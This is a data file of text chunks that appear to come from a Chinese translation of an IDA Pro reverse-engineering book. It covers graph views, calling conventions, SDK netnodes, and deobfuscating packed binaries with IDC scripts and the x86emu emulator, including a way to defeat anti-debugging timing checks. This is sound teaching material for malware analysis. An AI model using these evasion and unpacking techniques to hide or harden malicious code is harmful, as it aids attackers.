    {"text": "换句话说，一旦选中这个选项，如果由节点 A 发现节点 B，则递归下降到B 将添加其他只有从节点 B 才能到达的节点，而新发现的、引用节点 B 的节点将不会添加到图形中。"},
    {"text": "如果选择 Print recursion dots（打印递归点），递归将超越指定的递归限制，这时，IDA 会显示一个包含省略号的节点，表示可以进一步执行递归。"},
    {"text": "外部流程图已经被 IDA 的集成反汇编图形视图取代，其他外部图形不过是用户生成的交叉引用图的精简版本。 9.2.2 IDA 的集成绘图视图 IDA 在5.0版中引入了一项人们期待已久的功能，即与IDA 紧密集成的交互式反汇编图形视图。"},
    {"text": "平移图形的最简单方法是单击图形视图的背景，并朝适当的方向拖动图形。 对于较大的图形，使用 Graph Overview （图形概览）窗口进行平移会更加方便。"},
    {"text": "因为“图形概览”窗口中显示了整个图形的缩略版本，使用它平移会更加方便，你不必像在反汇编窗口中平移大型图形那样，频繁释放鼠标按钮并重新确定鼠标的位置。"},
    {"text": "在图形模式中，访问栈变量的方法与在文本模式中使用的方法完全相同，摘要栈视图在显示的函数的根基本块中显示。 和在文本模式下一样，双击任何栈变量，即可访问详细栈帧视图。"},
    {"text": "图9-13 典型的展开图形视图 从左到右，节点标题栏上的 3 个按钮分别可用于更改节点的背景颜色，分配或更改节点名称，以及访问以该节点为目标的交叉引用列表。"},
    {"text": "更改节点的颜色可作为一种提醒，告诉你自己，你已经分析了这个节点，或者只是将该节点与其他节点区分开，因为其中包含有你特别感兴趣的代码。"},
    {"text": "以下面这段代码为例： .text:00401041 ➊ jg short loc_401053 .text:00401043 ➋ mov ecx, [ebp+arg_0] ➊处的指令拥有两个潜在的“继任者”： loc_401053 和➋处的指令。"},
    {"text": "由于它有两个“继任者”， ➊必须终止一个基本块，这使得➋成为一个新的基本块中的第一条指令，即使它并不是跳转目标，IDA 也没有为其分配哑名。"},
    {"text": "如果你希望在图形模式下查看正常的交叉引用注释，可通过Options▶General选择Cross-Reference 选项卡，将 Number of displayed xrefs （显示的交叉引用数量）选项设置为 0 以外的其他值即可。"},
    {"text": "要为多个节点分组，在按下CTRL 键的同时，用鼠标单击将要分组的每个节点的标题栏，然后右击任何选定节点的标题栏，在上下文菜单中选择Group nodes即可。"},
    {"text": "未知 20.2 RTTI实现 在第8 章中，我们讨论了 C++ RTTI（运行时类型识别），并指出：编译器实现RTTI时并没有标准的方法。至于如何自动识别二进制文件中与 RTTI有关的结构，IDA 的这项功能同样因所使用的编译器而异。毫不奇怪，对于使用 Borland编译器编译的二进制文件，IDA 在这方面的功能最为强大。对自动识别微软 RTTI数据结构感兴趣的读者，可以尝试使用 IDA Palace 1 中Igor Skochinsky 的IDC 脚本或者 Sirmabus 2 中的Class Informer 插件，这将在第 23 章中深入讨论。 1. 参见 http://old.idapalace.net/idc/ms_rtti.zip 。 2. 参见 http://www.openrce.org/blog/browse/sirmabus 。 要了解某一特定编译器如何嵌入 C++ 类的类型信息，一种简单的方法是编写一个利用包含虚函数的类的简单程序。编译该程序后，你就可以将得到的可执行文件加载到 IDA 中，并搜索包含程序所使用的类的名称的字符串。无论使用什么编译器构建二进制文件，RTTI数据结构始终会包含一个指向字符串的指针，该字符串则包含它所代表的类的名称。使用数据交叉引用，你将可以定位一个指向这类字符串的指针，并在那里找到候选的 RTTI数据结构。最后，你需要将候选的RTTI结构与相关类的虚表关联起来。要完成这个任务，最好的办法是从候选的 RTTI结构回溯数据交叉引用，直到到达一个函数指针表（虚表）。 未知 20.5 其他调用约定 在第6 章中，我们讨论了C 和C++ 代码常用的许多调用约定。虽然在连接两个已编译模块时，我们必须遵循一个已发布的调用约定，但是在单独一个模块中，函数使用自定义调用约定并不会受到任何限制。高度优化的函数常常使用自定义调用约定，不过，这些函数不能从它们所在的模块之外调用。 下面的代码是一个使用非标准调用约定的函数的前 4 行： .text:000158AC sub_158AC proc near .text:000158AC ➊ .text:000158AC arg_0 = dword ptr 4 .text:000158AC .text:000158AC push [esp+arg_0] .text:000158B0 ➋ mov edx, [eax+118h] .text:000158B6 push eax .text:000158B7 ➌ movzx ecx, cl .text:000158BA mov cl, [edx+ecx+0A0h] 根据IDA 的分析，该函数的栈帧中只有一个参数（➊）存在。但是，经过仔细分析，我们发现，这个函数使用了 EAX寄存器（➋）和 CL寄存器（➌），但没有进行任何初始化。据此，我们得出的唯一结论是，EAX和CL寄存器应由调用方初始化。因此，我们应把这个函数看成是一个包含3 个参数的函数，而不是仅包含一个参数的函数。在调用它时，你必须特别小心，以确保它的3 个参数都处在正确的位置。 通过设置函数的“类型”，IDA 能够指定任何函数的自定义调用约定。通过Edit ▶ Functions ▶Set function type （编辑▶函数▶设置函数类型）菜单项输入函数的原型并使用 IDA 的_usercall 调用约定，即可做到这一点。用于为上一个示例中的 sub_158AC 设置类型的对话框如图20-1 所示。 图20-1 将函数指定为 _usercall 为清楚起见，下面再次提供了函数声明： int __usercall sub_158AC(struc_1 *, unsigned __int8 index, int) 其中，IDA 关键字 _usercall 用于替代 _cdecl 或 _stdcall 等标准调用约定。要使用 _usercall ，我们需要将保存函数的返回值的寄存器名称附加到函数名称之前（此例中得到 sub_158AC<eax> ），告知IDA 该寄存器的名称。如果函数不返回值，则可以省略返回寄存器。在参数列表中，还必须在将对应的寄存器名称附加到参数的数据类型之前，为每个基于寄存器的参数提供注释。设置函数的类型后，IDA 将向实施调用的函数传播参数信息，清楚说明函数调用顺序，如下面的代码所示： .text:00014B9F ➊ lea eax, [ebp+var_218] ; struc_1 * .text:00014BA5 ➋ mov cl, 1 ; index .text:00014BA7 ➌ push edx ; int .text:00014BA8 call sub_158AC 从上述代码中可以明显看出，IDA 识别出：EAX将保存函数的第一个参数（➊），CL将保存第二个参数（➋），第三个参数将位于栈上（➌）。 即使在一个可执行文件中，调用约定也可能截然不同。为说明这一点，我们提供了另一个取自同一个二进制文件的、使用自定义调用约定的示例，如下所示： .text:0001669E sub_1669E proc near .text:0001669E ➊ .text:0001669E arg_0 = byte ptr 4 .text:0001669E .text:0001669E ➋ mov eax, [esi+18h] .text:000166A1 add eax, 684h .text:000166A6 cmp [esp+arg_0], 0 在这个例子中，IDA 同样指出，函数仅访问了栈帧中的一个参数（➊）。仔细分析代码后会发现，在调用这个函数之前，还应对 ESI 寄存器（➋）进行初始化。这个例子说明，即使对同一个二进制文件而言，保存与寄存器有关的参数的寄存器也可能因函数而异。 通过这些例子，我们得到的教训是：你必须了解一个函数如何初始化它所使用的每一个寄存器。如果一个函数在初始化一个寄存器之前使用了该寄存器，那么这个寄存器是用来传递一个参数的。请参阅第 6 章，了解各种编译器和调用约定使用哪些寄存器。"},
    {"text": "未知 21.3 使用IDA 对二进制文件进行“静态去模糊” 到现在为止，你可能会感到困惑，有了所有这些反逆向工程技巧，我们该如何分析程序员希望使其保持隐秘的软件呢？"},
    {"text": "21.3.1 面向脚本的去模糊 因为IDA 可用于反汇编为各种 CPU 开发的二进制文件，因此，你常常需要分析一个为截然不同的平台（而非你运行 IDA 的平台）开发的二进制文件。"},
    {"text": "例如，你可能需要分析一个Linux x86二进制文件，即使你碰巧运行的是Windows 版本的IDA ，或者你可能需要分析一个 MIPS或ARM二进制文件，即使 IDA 仅在 x86 平台上运行。"},
    {"text": "而且，如果通过对程序的组成部分进行编码来模糊处理这个二进制文件，那么你可能别无选择，只有创建一个 IDA 脚本，模拟程序的去模糊过程，以正确对程序进行解码，并正确反汇编解码后的指令和数据。"},
    {"text": "代码清单 21-2 Burneye启动顺序和模糊代码 LOAD:05371035 start proc near LOAD:05371035 ➊ LOAD:05371035 push off_5371008 ➋ LOAD:0537103B pushf ➌ LOAD:0537103C pusha ➍ LOAD:0537103D mov ecx, dword_5371000 LOAD:05371043 jmp loc_5371082 ... LOAD:05371082 loc_5371082: ; CODE XREF: start+E ↑ j ➎ LOAD:05371082 call sub_5371048 LOAD:05371087 sal byte ptr [ebx-2Bh], 1 LOAD:0537108A pushf LOAD:0537108B xchg al, [edx-11h] LOAD:0537108E pop ss LOAD:0537108F xchg eax, esp LOAD:05371090 cwde LOAD:05371091 aad 8Eh LOAD:05371093 push ecx ➏ LOAD:05371094 out dx, eax LOAD:05371095 add [edx-57E411A0h], bh LOAD:0537109B push ss LOAD:0537109C rcr dword ptr [esi+0Ch], cl LOAD:0537109F push cs LOAD:053710A0 sub al, 70h LOAD:053710A2 cmp ch, [eax+6Eh] LOAD:053710A5 cmp dword ptr ds:0CBD35372h, 9C38A8BCh LOAD:053710AF and al, 0F4h ➐ LOAD:053710B1 db 67h 这个程序首先将内存位置 05371008h 的内容压入栈（➊），然后压入 CPU 标志（➋），接下来压入所有 CPU 寄存器（➌）。"},
    {"text": "根据在第 15 章中介绍的算法，这时我们需要声明一个名为 ecx 的变量，并使用 IDC 的 Dword 函数对它进行初始化，如下所示： auto ecx; ecx = Dword(0x5371000); //from instruction 0537103D 在一个绝对跳转之后，程序调用函数 sub_5371048 （➎），这个操作会产生一个副作用：将地址 05371087h （返回地址）压入栈。"},
    {"text": "代码清单 21-3 主要的 Burneye解码函数 LOAD:05371048 sub_5371048 proc near ; CODE XREF: start:loc_5371082↓p ➊ LOAD:05371048 pop esi ➋ LOAD:05371049 mov edi, esi ➌ LOAD:0537104B mov ebx, dword_5371004 LOAD:05371051 or ebx, ebx ➍ LOAD:05371053 jz loc_537107F ➎ LOAD:05371059 xor edx, edx ➏ LOAD:0537105B loc_537105B: ; CODE XREF: sub_5371048+35↓j LOAD:0537105B mov eax, 8 ➐ LOAD:05371060 loc_5371060: ; CODE XREF: sub_5371048+2B↓j LOAD:05371060 shrd edx, ebx, 1 LOAD:05371064 shr ebx, 1 LOAD:05371066 jnb loc_5371072 LOAD:0537106C xor ebx, 0C0000057h LOAD:05371072 loc_5371072: ; CODE XREF: sub_5371048+1E ↑j LOAD:05371072 dec eax LOAD:05371073 jnz short loc_5371060 LOAD:05371075 shr edx, 18h LOAD:05371078 lodsb LOAD:05371079 xor al, dl LOAD:0537107B stosb LOAD:0537107C dec ecx LOAD:0537107D jnz short loc_537105B LOAD:0537107F loc_537107F: ; CODE XREF: sub_5371048+B↑j LOAD:0537107F popa LOAD:05371080 popf LOAD:05371081 retn 经过仔细分析，我们发现，这并不是一个常见的函数，因为它一开始就将返回地址弹出栈，放入ESI 寄存器中（➊）。"},
    {"text": "如前所述，保存的返回地址为 05371087h ，考虑到 EDI（➋）、EBX （➌）和EDX（➍）的初始化，我们得到如下脚本： auto ecx, esi, edi, ebx, edx; ecx = Dword(0x5371000); //from instruction 0537103D esi = 0x05371087; //from instruction 05371048 edi = esi; //from instruction 05371049 ebx = Dword(0x5371004); //from instruction 0537104B edx = 0; //from instruction 05371059 在这些初始化之后，函数对包含在 EBX 寄存器中的值进行测试（➎），然后进入一个外层循环（➏）和一个内层循环（➐）。"},
    {"text": "auto ecx, esi, edi, ebx, edx, eax, cf; ecx = Dword(0x5371000); //from instruction 0537103D esi = 0x05371087; //from instruction 05371048 edi = esi; //from instruction 05371049 ebx = Dword(0x5371004); //from instruction 0537104B if (ebx != 0) { //from instructions 05371051 and 05371053 edx = 0; //from instruction 05371059 do { eax = 8; //from instruction 0537105B do { //IDC does not offer an equivalent of the x86 shrd instruction so we //need to derive the behavior using several operations ➊ edx = (edx >> 1) & 0x7FFFFFFF; //perform unsigned shift right one bit cf = ebx & 1; //remember the low bit of ebx if (cf == 1) { //cf represents the x86 carry flag edx = edx | 0x80000000; //shift in the low bit of ebx if it is 1 } ebx = (ebx >> 1) & 0x7FFFFFFF; //perform unsigned shift right one bit if (cf == 1) { //from instruction 05371066 ebx = ebx ^ 0xC0000057; //from instruction 0537106C } eax--; //from instruction 05371072 } while (eax != 0); //from instruction 05371073 ➋ edx = (edx >> 24) & 0xFF; //perform unsigned shift right 24 bits ➌ eax = Byte(esi++); //from instruction 05371078 eax = eax ^ edx; //from instruction 05371079 ➍ PatchByte(edi++, eax); //from instruction 0537107B ecx--; //from instruction 0537107C } while (ecx != 0); //from instruction 0537107D } 这个例子有两个细微的变化。"},
    {"text": "eax = (eax & 0xFFFFFF00) | (Byte(esi++) & 0xFF); 这个例子先清除 EAX变量的低8 位，然后使用一个 OR 运算合并低8 位中的新值。"},
    {"text": "Burneye解码函数的最后 3 条指令如下所示： LOAD:0537107F popa LOAD:05371080 popf LOAD:05371081 retn 如前所述，这个函数首先弹出它的返回地址，这意味着剩余的栈值由调用方设置。 这里使用的 popa 和 popf 指令与Burneye的启动例程开始部分使用的 pusha 和 pushf 指令对应，如下所示： LOAD:05371035 start proc near LOAD:05371035 ➊ LOAD:05371035 push off_5371008 LOAD:0537103B pushf LOAD:0537103C pusha 结果栈上剩下的唯一一个值是在 start 的第一行代码（➊）中压入的地址。"},
    {"text": "基于脚本的去模糊的优点包括：你根本不需要执行你所分析的二进制文件； 不需要完全了解用于去模糊二进制文件的具体算法，你就可以创建一个有效的脚本。"},
    {"text": "通过使用 IDC 忠实地执行每一项 CPU 操作，并且根据反汇编代码清单排定每项操作的正确顺序，你将有一段能够模拟程序操作的脚本，即使你并不完全理解这些操作作为整体执行的高级算法。"},
    {"text": "21.3.2 面向模拟的去模糊 在创建脚本执行去模糊任务时，我们总是需要模拟一个 CPU 的指令集，以与被去模糊的程序在行为上保持完全一致。 如果我们有一个指令模拟器，那么我们可以将这些脚本执行的一些或全部工作转交给模拟器完成，从而大大缩短对一个 IDA 数据库去模糊所需的时间。"},
    {"text": "模拟器通过从模拟器指令指针的当前值指定的数据库位置读取字节，并根据被模拟 CPU 的指令集规范解码读取到的值，同时更新任何受已解码的指令影响的内存值，从而执行它的操作。"},
    {"text": "可能的更新包括修改模拟的注册表值，将这些值存储到模拟的栈内存空间中，或者根据已解码的指令生成的内存地址，将经过修改的值补缀到IDA 数据库的数据或代码段。"},
    {"text": "与调试相比，模拟的一个明显优点在于模拟器绝不会执行潜在恶意的代码，而调试器辅助的去模糊必须至少执行恶意程序的某个部分，才能获得该程序的去模糊版本。"},
    {"text": "这个插件供Windows GUI 版本的 IDA或Qt版本的IDA 使用，同时提供构建脚本，允许用户使用 MinGw（g++/make）或微软（Visual Studio 2008 ）工具构建相应的插件。"},
    {"text": "表21-1 ida-x86emu 插件 名称 ida-x86emu 作者 Chirs Eagle 发布 用于SDK v6.1的源代码及用于自5.0以来的所有IDA 版本（包括IDA 免费版本）的二进制文件。 源代码向后兼容到SDK 4.9 版 价格 免费 说明 IDA嵌入式x86 指令模拟器 信息 http://www.idabook.com/ida-x86emu 你不需要进行插件配置，x86emu插件默认使用ALT+F8热键组合激活。"},
    {"text": "Skip 按钮用于使模拟器略过一条指令，而不模拟这条指令。 例如，你可以使用 Skip 命令忽略一个条件跳转而到达一个特定的代码块，不顾任何条件标志的状态。 Skip 还可用于略过函数调用，如导入的库函数，因为你无法模拟它的代码。"},
    {"text": "单击Set Memory 按钮，将显示如图 21-6 所示的基本内存修改对话框。 图21-6 x86emu内存修改对话框 基本上，这个对话框是一些 SDK PatchXXX 函数的包装器。"},
    {"text": "单步执行模拟器，再执行 return 语句两次，返回新的去模糊后的代码，使 IDA 将去模糊后的字节重新格式化为指令。 得到的去模糊代码如下所示： LOAD:05371082 loc_5371082: ; CODE XREF: start+E↑ j LOAD:05371082 call sub_5371048 LOAD:05371082 ; -------------------------------------------------------------- LOAD:05371087 db 0 LOAD:05371088 db 0 LOAD:05371089 db 0 LOAD:0537108A db 0 LOAD:0537108B db 0 LOAD:0537108C db 0 LOAD:0537108D db 0 LOAD:0537108E db 0 LOAD:0537108F db 0 LOAD:05371090 ; -------------------------------------------------------------- LOAD:05371090 LOAD:05371090 loc_5371090: ; DATA XREF: LOAD:off_5371008↑ o ➊ LOAD:05371090 pushf LOAD:05371091 pop ebx LOAD:05371092 mov esi, esp LOAD:05371094 call sub_5371117 LOAD:05371099 mov ebp, edx LOAD:0537109B cmp ecx, 20h LOAD:0537109E jl loc_53710AB LOAD:053710A4 xor eax, eax LOAD:053710A6 jmp loc_53710B5 将这个代码段与代码清单 21-2 比较，很明显可以看到，指令在去模糊过程中发生了变化。"},
    {"text": "花时间开发模拟器，你得到一个高度灵活的去模糊方法，而花时间编写一个特定于 Burneye的脚本，你得到一个非常专一化的脚本，在其他去模糊情形中，这个脚本没有多大用处。"},
    {"text": "注意，虽然在前一个例子中，Burneye保护的二进制文件是一个 Linux ELF 二进制文件，但是，x86emu仍然能够模拟这个文件中的指令，因为它们全都是 x86 指令，而不论它们来自什么操作系统，属于何种文件类型。"},
    {"text": "x86emu可直接用于 Windows PE二进制文件，如本章前面讨论的UPX示例。 目前绝大多数的模糊恶意软件都以 Windows 平台为攻击对象，因此，x86emu提供了许多特定于 Windows PE二进制文件的功能（如前所述）。"},
    {"text": "如果模拟器逐步模拟代码清单 21-1 中的代码，最终它将遇到下面的函数调用： UPX1:00408882 call dword ptr [esi+808Ch] 模拟这类指令可能非常危险，因为一开始，你并不清楚这个指令指向什么地方（表示 call 指令的目标地址并不明显）。"},
    {"text": "任何时候遇到 call 指令，模拟器将确定目标地址是否位于被分析的文件的虚拟地址空间之内，或者目标地址是否与所分析二进制文件已加载的一个库导出的函数有关。"},
    {"text": "如果模拟器确定其中的一个函数被调用，它将从程序栈中读取任何参数，要么执行和该函数相同的操作（如果程序正在运行），或者执行某个最低限度的操作，生成一个在被模拟的程序看来是正确的返回地址。"},
    {"text": "表21-2 被x86emu 模拟的函数 CheckRemoteDebuggerPresent GetTickCount LocalFree VirtualAlloc CreateThread GetVersion NtQuerySystemInformation VirtualFree GetCurrentThreadId HeapAlloc NtQueryInformationProcess calloc GetCurrentProcess HeapCreate NtSetInformationThread free GetCurrentProcessId HeapDestroy RtlAllocateHeap lstrcat GetModuleHandleA HeapFree TlsAlloc lstrcpy GetProcAddress IsDebuggerPresent TlsFree lstrlen GetProcessHeap LoadLibraryA TlsGetValue malloc GetThreadContext LocalAlloc TlsSetValue realloc 模拟与堆有关的函数的行为，将会使模拟器操纵它的内部堆实现（由 .heap 节实现），并返回一个适用于被模拟函数的值。"},
    {"text": "回到前面的 UPX 去模糊示例，让模拟器完成导入表重建循环，我们发现，模拟器在 IDA 的“输出”窗口中生成以下输出： x86emu: LoadLibrary called: KERNEL32.DLL (7C800000) x86emu: GetProcAddress called: ExitProcess (0x7C81CDDA) x86emu: GetProcAddress called: ExitThread (0x7C80C058) x86emu: GetProcAddress called: GetCurrentProcess (0x7C80DDF5) x86emu: GetProcAddress called: GetCurrentThread (0x7C8098EB) x86emu: GetProcAddress called: GetFileSize (0x7C810A77) x86emu: GetProcAddress called: GetModuleHandleA (0x7C80B6A1) x86emu: GetProcAddress called: CloseHandle (0x7C809B47) 这个输出记录了模糊二进制文件加载的库，以及这些库中被模糊程序查找的函数 5 。"},
    {"text": "就 UPX 而言，下面摘自代码清单 21-1的几行代码说明了函数地址在每次经历函数查找循环时如何保存到内存中： UPX1:00408897 call dword ptr [esi+8090h] ; GetProcAddress UPX1:0040889D or eax, eax UPX1:0040889F jz short loc_4088A8 ➊ UPX1:004088A1 mov [ebx], eax ; Save to import table UPX1:004088A3 add ebx, 4 地址 004088A1h 处的指令（➊）负责将函数地址存储到重建后的导入表中。"},
    {"text": "模拟器称这样的指令为“导入地址保存点”（import address save point），你可以使用 Emulate▶Windows▶Set Import Address Save Point （模拟▶窗口▶设置导入地址保存点）菜单将一个地址指定为“导入地址保存点”。"},
    {"text": "完成指定后，每次模拟这条指令，模拟器将进行一次查找，确定被写入的数据代表哪一个函数，然后使用这个导入函数的名称命名被写入的地址。"},
    {"text": "在 UPX 示例中，若没有指定一个“导入地址保存点”，将得到下面的导入表（部分显示）： UPX0:00406270 dd 7C81CDDAh UPX0:00406274 dd 7C80C058h UPX0:00406278 dd 7C80DDF5h UPX0:0040627C dd 7C8098EBh 但是，在指定“导入地址保存点”时，x86emu 工具执行的自动命名将产生以下自动生成的导入表（部分显示）： UPX0:00406270 ; void __stdcall ExitProcess(UINT uExitCode) UPX0:00406270 ExitProcess dd 7C81CDDAh ; DATA XREF: j_ExitProcess↑ r UPX0:00406274 ; void __stdcall ExitThread(DWORD dwExitCode) UPX0:00406274 ExitThread dd 7C80C058h ; DATA XREF: j_ExitThread ↑ r UPX0:00406278 ; HANDLE __stdcall GetCurrentProcess() UPX0:00406278 GetCurrentProcess dd 7C80DDF5h ; DATA XREF: j_GetCurrentProcess↑ r UPX0:0040627C ; HANDLE __stdcall GetCurrentThread() UPX0:0040627C GetCurrentThread dd 7C8098EBh ; DATA XREF: j_GetCurrentThread ↑ r 以这种方式重建导入表，IDA 将能够使用从它的类型库中提取出的参数类型信息，为库函数调用添加适当的注释，反汇编代码清单的总体质量也因此得到显著提高。"},
    {"text": "这个菜单选项在光标当前所在位置寻找一个有效的PE文件，解析这个文件的头部，以确定该文件的大小，然后从数据库中提取出相应的字节，转储到一个文件中。"},
    {"text": "这个菜单项使模拟器将一组已分配的堆块转储到“输出”窗口中，如下所示： x86emu: Heap Status --- 0x5378000-0x53781ff (0x200 bytes) 0x5378204-0x5378217 (0x14 bytes) 0x537821c-0x5378347 (0x12c bytes) Emulate▶Switch Thread （模拟▶切换线程）。"},
    {"text": "这样，观察到的TSC 值之间的差距将始终与在两次调用 rdtsc 之间模拟的指令数量大致成一定比例，而且这个差距会始终保持足够小，能够让被模拟的程序确信它没有附加调试器。"},
    {"text": "如果被模拟的程序是一个 Windows PE二进制文件，模拟器必须通过构建一个 SHE CONTEXT 结构体，通过 fs:[0] 遍历异常处理程序列表来定位当前的异常处理程序，并将控制权转交给这个已安装的异常处理程序，以此来响应一个异常或软件中断。"},
    {"text": "如果通过 grep 之类的搜索无法确定你需要的功能，那么，了解与该功能有关的头文件信息，将可以帮助你缩小搜索范围，减少需要深入分析的文件的数量。"},
    {"text": "16.2.1 头文件概述 虽然SDK 的readme.txt 文件概括介绍了大多数常用的头文件，但是，在这一节中，我们重点说明其他一些与这些文件有关的信息。"},
    {"text": "要恢复对这些函数的访问，在将 ida.hpp 包含在你自己的文件中之前，必须定义 USE_DANGEROUS_FUNCTIONS 宏，如下所示： #define USE_DANGEROUS_FUNCTIONS #include 如果没有定义 USE_DANGEROUS_FUNCTIONS 宏，将导致一个构建错误，其大致意思是： dont_ use_snprintf 是一个未定义的符号（如果尝试使用 snprintf 函数）。"},
    {"text": "为了“补偿”对这些所谓的危险函数的限制，SDK 为每个函数定义了更加安全的替代函数，这些函数通常采用 qstr XXXX 的形式，如 qstrncpy 和 qsnprintf 。"},
    {"text": "这个文件是处理SDK 所需的主要头文件，其中包含 idainfo 结构的定义和全局变量inf的声明，还包含许多字段，一些字段提供与当前数据库有关的信息，另一些字段则由配置文件设置初始化。"},
    {"text": "例如，通过这个文件，我们知道，与二进制文件导入的共享库和函数有关的信息存储在一个名为 import_node 的网络节点中（是的，网络节点也有名称）。"},
    {"text": "在32 位系统上， netnodenumber 是一个32 位整数，可以表示2 32 个唯一的网络节点。 在64 位系统上， netnodenumber 是一个 64 位整数，可以表示 2 64 个唯一的网络节点。 多数情况下， netnodenumber 代表数据库中的一个虚拟地址，它在数据库中的每个地址与存储和某地址有关的信息所需的网络节点之间建立一个自然的对应关系。"},
    {"text": "要操纵网络节点，建议你使用一个实例化的 netnode 对象调用 netnode 类的成员函数。 浏览netnode.hpp 文件，你会发现，有许多非成员函数似乎也可用于操纵网络节点。"},
    {"text": "在IDA 数据库中，网络节点的所有内容都存储在二叉树节点中。 二叉树节点反过来又存储在一个ID0 文件中，在关闭数据库时，ID0 文件又存储在一个 IDB 文件中。"},
    {"text": "1. 创建网络节点 关于网络节点，有一个令人迷惑的地方，即在你的一个模块中声明一个 netnode 变量，并不一定会在数据库中创建该网络节点的内部表示形式。"},
    {"text": "代码清单 16-1 声明网络节点 #ifdef __EA64__typedef ulonglong nodeidx_t; \\#else typedef ulong nodeidx_t; \\#endif class netnode { ➊ netnode(); ➋ netnode(nodeidx_t num); ➌ netnode(const char *name, size_t namlen=0, bool do_create=false); ➍ bool create(const char *name, size_t namlen=0); ➎ bool create(); //... remainder of netnode class follows }; netnode n0; //uses➊ netnode n1(0x00401110); //uses➋ netnode n2(\"$ node 2\"); //uses➌ netnode n3(\"$ node 3\", 0, true); //uses➌ 在这个例子中，执行代码后，数据库中只存在一个网络节点（ n3 ）。"},
    {"text": "如果 n2 并不存在，则意味着你不可能在数据库中找到名为 $ node 2 的网络节点，那么，你必须首先显式创建 n2 （➍或➎），才能将数据存储到这个节点中。 如果希望保证能够在 n2 中存储数据，我们需要添加以下“安全检查”： if (BADNODE == (nodeidx_t)n2) { n2.create(\"$ node 2\"); } 前面的例子说明了 nodeidx_t 运算符的用法，它可以将网络节点转换成 nodeidx_t 。"},
    {"text": "如上面例子中➋处所示，和 n1 一样， netnodenumber 可以通过一个构造函数显式分配。 另外，如果在构造函数中使用 create 标志（和 n3 一样，如➌处所示），或通过 create （和 n2 一样）函数创建一个网络节点，这时也可以在内部生成一个 netnodenumber 。"},
    {"text": "我们也可以采用另一种形式，用一个内部生成的有效的 netnodenumber 创建一个未命名的网络节点，如下所示： n0.create(); //assign an internally generated netnodenumber to n0 这样，我们就可以将数据存储到 n0 中，但是将来我们并没有办法检索这些数据，除非我们将分配给它的 netnodenumber 记录在某个地方，或者给 n0 分配一个名称。"},
    {"text": "注意，对于已命名的网络节点，我们选择使用以“ $ ”为前缀的名称，这样做是遵循netnode.hpp文件中的建议，以避免与 IDA 内部使用的名称造成冲突。"},
    {"text": "在将一个值存储到网络节点中的数组时，需要指定5 方面的信息：一个索引值、一个索引大小（8 或32 位）、一个待存储的值、这个值包含的字节数以及一个用于存储这个值的数组（每类 256 个数组中的一个）。"},
    {"text": "altval提供了一个简单的接口，可用于存储和检索网络节点中的整数数据。 altval可存储到网络节点中的任何数组中，但默认情况下，它被存储到 'A' 数组中。 不管你希望将整数存储到哪一个数组中，使用与 altval 有关的函数都将大大简化存储过程。"},
    {"text": "代码清单 16-2 访问网络节点 altval netnode n(\"$ idabook\", 0, true); //create the netnode if it doesn't exist sval_t index = 1000; //sval_t is a 32 bit type, this example uses 32-bit indexes ulong value = 0x12345678; n.altset(index, value); //store value into the 'A' array at index value = n.altval(index); //retrieve value from the 'A' array at index n.altset(index, value, (char)3); //store into array 3 value = n.altval(index, (char)3); //read from array 3 在这个例子中，你看到一种将被其他类型的网络节点值重复使用的模式，即使用 XXXset （这里为 altset ）函数将一个值存储到一个网络节点中，并使用 XXXval （这里为 altval ）函数从网络节点中检索这个值。"},
    {"text": "netnode n(\"$ idabook\", 0, true); uchar index = 80; //this example uses 8-bit index values ulong value = 0x87654321; n.altset_idx8(index, value, 'A'); //store, no default tags with xxx_idx8 functions value = n.altval_idx8(index, 'A'); //retrieve value from the 'A' array at index n.altset_idx8(index, value, (char)3); //store into array 3 value = n.altval_idx8(index, (char)3); //read from array 3 从这个例子中，你看到，要使用 8 位索引值，你必须使用一个以 _idx8 为后缀的函数。"},
    {"text": "代码清单 16-3 存储网络节点 supval netnode n(\"$ idabook\", 0, true); //create the netnode if it doesn't exist char *string_data = \"example supval string data\"; char binary_data[] = {0xfe, 0xdc, 0x4e, 0xc7, 0x90, 0x00, 0x13, 0x8a, 0x33, 0x19, 0x21, 0xe5, 0xaa, 0x3d, 0xa1, 0x95}; //store binary_data into the 'S' array at index 1000, we must supply a //pointer to data and the size of the data n.supset(1000, binary_data, sizeof(binary_data)); //store string_data into the 'S' array at index 1001. If no size is supplied, //or size is zero, the data size is computed as: strlen(data) + 1 n.supset(1001, string_data); //store into an array other than 'S' (200 in this case) at index 500 n.supset(500, binary_data, sizeof(binary_data), (char)200); 这里的 supset 函数需要一个数组索引、一个指向某个数据的指针、该数据的长度（单位为字节）、一个数组标签（如果省略，则默认为 'S' ）。"},
    {"text": "如果指定长度为零，则 supset 会认为所存储的数据是一个字符串，并将该数据的长度计算为 strlen （数据）+1，并将一个零终止符存储在该字符串数据的后面。"},
    {"text": "supval 函数的返回值是复制到输出缓冲区中的字节数量，而 supstr 函数的返回值则是复制到输出缓冲区中的字符串的长度，但不包括零终止符，即使零终止符被复制到缓冲区中。"},
    {"text": "代码清单 16-4 检索网络节点 supval //determine size of element 1000 in 'S' array. The NULL pointer indicates //that we are not supplying an output buffer int len = n.supval(1000, NULL, 0); char *outbuf = new char[len]; //allocate a buffer of sufficient size n.supval(1000, outbuf, len); //extract data from the supval //determine size of element 1001 in 'S' array. The NULL pointer indicates //that we are not supplying an output buffer. len = n.supstr(1001, NULL, 0); char *outstr = new char[len]; //allocate a buffer of sufficient size n.supval(1001, outstr, len); //extract data from the supval //retrieve a supval from array 200, index 500 char buf[1024]; len = n.supval(500, buf, sizeof(buf), (char)200); 使用supval ，你可以访问存储在一个网络节点中的任何数组中的任何数据。"},
    {"text": "浏览netnode.hpp 文件，观察 altset 函数的内联实现（如下所示），你会发现事实确实如此： bool altset(sval_t alt, nodeidx_t value, char tag=atag) { return supset(alt, &value, sizeof(value), tag); } hashval提供了另一种访问网络节点的接口。"},
    {"text": "代码清单 16-5 枚举网络节点 altval netnode n(\"$ idabook\", 0, true); //Iterate altvals first to last for (nodeidx_t idx = n.alt1st(); idx != BADNODE; idx = n.altnxt(idx)) { ulong val = n.altval(idx); msg(\"Found altval['A'][%d] = %d\\n\", idx, val); } //Iterate altvals last to first for (nodeidx_t idx = n.altlast(); idx != BADNODE; idx = n.altprev(idx)) { ulong val = n.altval(idx); msg(\"Found altval['A'][%d] = %d\\n\", idx, val); } 遍历supval 、hashval和charval 的方法与遍历 altval 的方法非常类似，但是，你会发现，所使用的语法因被访问的值的类型而异。"},
